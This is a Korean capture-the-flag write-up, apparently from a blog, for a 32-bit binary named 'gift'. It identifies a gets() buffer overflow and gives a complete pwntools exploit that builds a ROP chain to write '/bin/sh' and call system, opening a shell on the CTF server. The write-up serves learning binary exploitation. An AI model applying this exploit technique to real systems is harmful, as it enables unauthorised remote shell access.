file 명령어로 문제 바이너리를 확인하면 32비트 파일이고, checksec명령으로 보호기법을 확인하면 nx 보호기법만 적용되어 있는 것을 확인할 수 있다.

파일을 실행하면 두개의 주소값을 출력해주고, 두 번 입력받는 것을 확인할 수 있다.

gdb로 main 함수를 확인하면 다음과 같다.

아이다 헥스레이 기능으로 main 함수를 보면 다음과 같다.

프로그램을 실행했을 때 출력해 주는 주소값중 첫번째는 /bin/sh 문자열의 주소이고, 두번째는 system 함수의 주소값인것 같다. 

gets()함수에서 bof가 발생한다.

그러나 다음과 같이 출력하는 binsh 주소에 접근해보면 /bin/sh 문자열이 없는 것을 확인할 수 있다.

따라서 gets 함수를 이용하여 binsh 주소에 /bin/sh 문자열을 써 넣어야 한다. 

익스 과정을 생각해보면 파일에서 출력해주는 두 주소값을 저장하고, fgets()로 입력받는 부분은 더미값을 넣어 넘긴다.

gets로 입력받는 부분에서 bof를 발생시켜 binsh에 gets 함수로 /bin/sh문자열을 써 넣고 system 함수를 binsh주소를 인자로 넣어 실행한다. 작성한 익스 코드는 다음과 같고, 실행하면 쉘을 딸 수 있다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
pr = 0x080483ad
gets = e.plt["gets"]

p.recvuntil(": ")
binsh = int(p.recv(10), 16)
sys = int(p.recv(10), 16)
print(hex(binsh))
print(hex(sys))

p.sendline("asd")
p.recvuntil("asd\n")

pay = "A"*136
pay += p32(gets)
pay += p32(pr)
pay += p32(binsh)
pay += p32(sys)
pay += "A"*4
pay += p32(binsh)

p.sendline(pay)
p.sendline("/bin/sh\x00")

p.interactive()

+ Recent posts